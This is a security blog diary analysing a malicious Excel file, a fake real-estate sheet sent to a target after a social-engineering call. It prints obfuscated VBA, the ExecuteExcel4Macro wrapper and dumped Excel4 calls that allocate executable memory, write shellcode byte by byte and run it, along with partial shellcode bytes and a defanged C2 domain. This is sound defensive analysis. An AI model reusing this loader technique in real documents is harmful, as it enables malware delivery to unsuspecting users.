Mixed VBA & Excel4 Macro In a Targeted Excel Sheet
Yesterday, Nick, one of our readers, shared with us a very interesting Excel sheet and asked us to check if it was malicious. Guess what? Of course, it was and he accepted to be mentioned in a diary. Thanks to him! This time, we also have the context and how the file was used. It was delivered to the victim and this person was called beforehand to make it more confident with the file. A perfect example of social engineering attack. The Excel sheet contains details of a real-estate project. The Excel sheet is called "Penthouse_8271.xls" and, once opened, you see this:
The real-estate agency mentioned in the sheet exists and is established in Austria. When I receive a suspicious file like this one, I'm always starting with automated tools to speed up the analysis but this time, it did not work. To analyze VBA macros, one of my favorite tools is Vipermonkey but it almost crashed my REMnux environment, using a lot of memory. Let's revert to manual analysis. Some quick findings: The macro is heavily obfuscated, the code is populated with a lot of empty functions and comments. The macro does have the classic AutoOpen()
function to automatically execute it. But we have these functions:
Sub info() Tabelle1.Visible = True Tabelle1.Activate boop End Sub Sub beschreibung() Tabelle2.Visible = True Tabelle2.Activate boop End Sub Sub grundriss() Tabelle3.Visible = True Tabelle3.Activate boop End Sub Sub haftung() Tabelle5.Visible = True Tabelle5.Activate boop End Sub
You see that the function names correspond to the button seen in the picture above. The malicious code is located in boop()
and will be triggered when the user clicks on a button. Let's click on "Penthouse Overview":
Note: this is a nice trick to defeat most of the Sandboxes because a user's interaction is required.
Legit information is displayed and the macro executed. Let's have a look at the code:
Sub boop() SuperintendAuthors = Array() SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("140000888e050094095b80e037e3000ac400f32308f044900eb00046500009e3f0bc0f40090e2b4290808e27008feea" & _ "0b00040090e010009c2e58bc8213e910ac790c20051a819c21f150b01e465b126ec9b9e5ee08050ab40700bcc0c00803c118001d90fcf90ff8ff5bf" & _ "ee11f51229d88f1e51fb121c8c926120c90e0c0a200fuopurr0wdbhjdb")) SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("148e5e150510c90080d80f0f00ff8ff50200492e08059009a007ec9000ce94000204c0be90b1e8059e0c285e08353d260800914110" & _ "ebbc91ec0c4108b1e3e0e85080090b00979040fea180fcaebcc0509c1d0109000ee900002a" & _ "d6000835e30f747503217027b0a8014c11f126188044708fa174164103816408510964109f001" & _ "lwppbij1cjpchuk")) SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("14e010b96ca0090b0bffb5d03ea1f57f0e810a5690e5006ff3ccb77ffffc1fcc7e0c00619191001c6000009ec8530eb84000cc50071b" & _ "080588bc470055ceb5598818829d181e20c8909ec8700898b0008c9028ebb872ee0f764" & _ "b51e0829305ba3baee800b50f084103a0b00017c5010fec0d1ca31af1b8c04f0d0ebf3530b1c85tcquttu4jpgotwt"))
Pretty nice obfuscation! Multiple functions are called to decode all strings and finally, the following one is called. It reveals the technique used:
Function SpecialLeaving(OverDesire As String) SpecialLeaving = ExecuteExcel4Macro(OverDesire) End Function
The ExecuteExcel4Macro() is a VBA function to execute an Excel4 function[1]. Because we don't have an Excel4 macro split in cells, the classic deobfuscation tools won't work. To spread up the analysis, I added the following code to the macro:
Sub DumpExcel4(buffer as String) Dim outout As String output = "C:\temp\debug.txt" Open output For Append As #1 Write #1, buffer Close #1 End Sub Function SpecialLeaving(OverDesire As String) DumpExcel4(OverDesire) SpecialLeaving = ExecuteExcel4Macro(OverDesire) End Function
This dumped all Excel4 functions into a flat-file. Once the macro has been executed in my lab, I got a nice debug.txt file:
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",4096,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",8192,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",12288,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",16384,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",20480,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",24576,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",28672,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",32768,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",36864,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",40960,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",45056,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",49152,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",53248,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",57344,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",61440,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",65536,15992,12288,64)" "CALL(""ntdll"",""memset"",""JJJJ"",65536,232, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65537,0, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65538,0, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65539,0, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65540,0, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65541,89, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65542,72, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65543,131, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65544,233, 1)"
We see that some memory is allocated. The last parameter of VirtualAlloc()
is 64 (0x40) which means that memory is created with the PAGE_EXECUTE_READWRITE flag (to contain executable code). Then, the payload is moved into memory byte per byte with a very long series of memset()
. Finally, the payload is executed on the last line:
"CALL(""Kernel32"",""CreateThread"",""JJJJJJB"",0,0,65536,0,0,0)"
The macro dumped 16009 lines in the file! Now, we can extract the payload:
remnux@remnux:/MalwareZoo/20220121$ grep memset debug.txt | awk -F ',' '{print $5}'|sets.py join ","
The result is a suite of characters:
232,0,0,0,0,89,72,131,233,5,186,120,62,0,0,51,192,64,144,15,132,79,36,0,0,233,107,5,0,0,252,233,63,...
The fastest way to decode this is to use Cyberchef with a simple recipe "From Decimal". I did a quick analysis of the shellcode. It connects to acrobatrelay[.]com but I don't have all the features at this time, still under investigation...
[1] https://docs.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments